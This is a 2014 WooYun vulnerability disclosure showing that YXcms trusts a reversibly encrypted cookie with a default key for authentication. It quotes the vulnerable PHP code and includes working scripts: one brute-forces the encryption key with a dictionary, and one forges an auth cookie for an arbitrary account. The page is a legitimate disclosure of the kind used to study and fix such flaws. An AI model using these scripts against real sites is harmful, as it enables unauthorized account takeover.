当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069186

漏洞标题:YXcms伪造cookie绕过验证任一用户登录

相关厂商:yxcms.net

漏洞作者: zxx

提交时间:2014-07-21 19:02

修复时间:2014-10-16 19:04

公开时间:2014-10-16 19:04

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-21: 细节已通知厂商并且等待厂商处理中
2014-07-26: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-09-19: 细节向核心白帽子及相关领域专家公开
2014-09-29: 细节向普通白帽子公开
2014-10-09: 细节向实习白帽子公开
2014-10-16: 细节向公众公开

简要描述:

源代码中有对cookie的加解密函数,可以伪造cookie,而且程序使用cookie进行权限验证,可以实现任一用户登录。

详细说明:

Protected/apps/members/controller/indexController.php

public function login()
{
if(!$this->isPost()){//不使用post时
$cookie_auth=get_cookie('auth');//此时直接从cookie中获取认证信息,我们跟进get_cookie函数看能否伪造cookie绕过认证
if(!empty($this->auth)) $this->redirect(url('default/index/index'));
$this->returnurl=$_SERVER['HTTP_REFERER'];
$this->display();
}else{
。。。
}


/protected/include/lib/common.function.php

function get_cookie($var,$key='',$pre='') 
{
if(function_exists('config')){
$key=$key?$key:config('ENCODE_KEY');//这里获取加密key,在config中设置,默认为yx
$pre=$pre?$pre:config('COOKIE_PRE');//这里获取cookie的前缀,默认为yx
}
$var = $pre.$var;
return isset($_COOKIE[$var]) ? cp_decode($_COOKIE[$var],$key) : '';//将cookie解密
}


跟进cp_decode函数

function cp_decode($string,$key='')
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr($string, 0, $ckey_length);

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = base64_decode(substr($string, $ckey_length));
$string_length = strlen($string);

$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return unserialize(substr($result, 26));
}
else
{
return '';
}
}


具体加解密算法没有进行分析,但是只要我们知道加密key就可以自己生产cookie
我们看看cookie的格式是什么样子的

protected function _login($account,$password,$cookietime=0)
{
$acc=model('members')->find("account='{$account}'");
if($acc['password']!=codepwd($password) || $acc['islock']) return false;
if($cookietime!=0) $cookietime=time()+$cookietime;
$data['lastip'] = get_client_ip();
$data['lasttime']=time();
model('members')->update("account='{$account}'",$data);
if($acc['headpic'] && !Check::url($acc['headpic'])) $acc['headpic']=__UPLOAD__.'/member/image/'.$acc['headpic'];
$cookie_auth = $acc['id'].'\t'.$acc['groupid'].'\t'.$acc['account'].'\t'.$acc['nickname'].'\t'.$acc['lastip'].'\t'.$acc['headpic'];//获取账号的信息,连成字符串
if(set_cookie('auth',$cookie_auth,$cookietime)) return true;
return false;
}


跟进 set_cookie

function set_cookie($var, $value = '', $time = 0,$key='',$pre='') 
{
$time = $time > 0 ? $time : 0;
$port = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
if(function_exists('config')){
$key=$key?$key:config('ENCODE_KEY');//这里获取加密key,在config中设置,默认为yx
$pre=$pre?$pre:config('COOKIE_PRE');//这里获取cookie的前缀,默认为yx
}
$value=cp_encode($value,$key);//使用加密key和之前的cookie_auth字符串来生产加密后的cookie
$var = $pre.$var;
return setcookie($var, $value, $time, '/', '', $port);
}


我没有深入看cp_encode函数的算法,但是,我们现在知道了加密前cookie的格式,有了加密key,就可以人为的去生成cookie,绕过验证。

漏洞证明:

加密key默认为yx,但是有可能更改,因为加密和解密用到同一个key,属于对称加密,这里写一个脚本用来破解加密key。
解密脚本crack.php:

<?php
//cp_encode之后的解密函数,$string待解密的字符串,$key,密钥
function cp_decode($string,$key='')
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr($string, 0, $ckey_length);

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = base64_decode(substr($string, $ckey_length));
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return unserialize(substr($result, 26));
}
else
{
return '';
}
}
$str="5681ASIRH3xmeahDPR%2FBFKcZSIG7PNtinSTCODsQz1mvhyPAeNyQxvBaVz5ONAzQmPB835Kadw5LVANlN4fIxlkOMiBu%2BQ";
$str=urldecode($str);//注意如果获取的cookie是url编码解密后的,去掉此行
$file = file("dic.txt");//字典文件
foreach($file as &$line) {
if(cp_decode($str,$line)) echo "ENCODE_KEY = ".$line;
}
echo "\nFinished!";
?>


图片1.png


现在用cp_encode函数制作我们自己的cookie 。

<?php 
function cp_encode($data,$key='',$expire = 0)
{
$string=serialize($data);
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5(microtime()), -$ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc.str_replace('=', '', base64_encode($result));
}
$id=3;
$data['groupid']=2;
$data['account']='admin2';
$data['nickname']='admin2';
$data['lastip']='127.0.0.1';
$cookie_auth = $id.''.$data['groupid'].''.$data['account'].''.$data['nickname'].''.$data['lastip'].'';
$encode=cp_encode($cookie_auth,"axf");
echo $cookie_auth;
echo "";
echo urlencode($encode);
?>


id ,groupid,account,nickname在不同的地方有不同的用处,比如修改资料地方用id关联,发布资讯跟account关联,登录界面现实与nickname关联,根据自己需要进行修改伪造。

图片2.png

修复方案:

修复方法应该有很多,加解密算法不安全,另外可以对cookie进行验证,不要用cookie的信息直接做认证信息

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-16 19:04

厂商回复:

最新状态:

暂无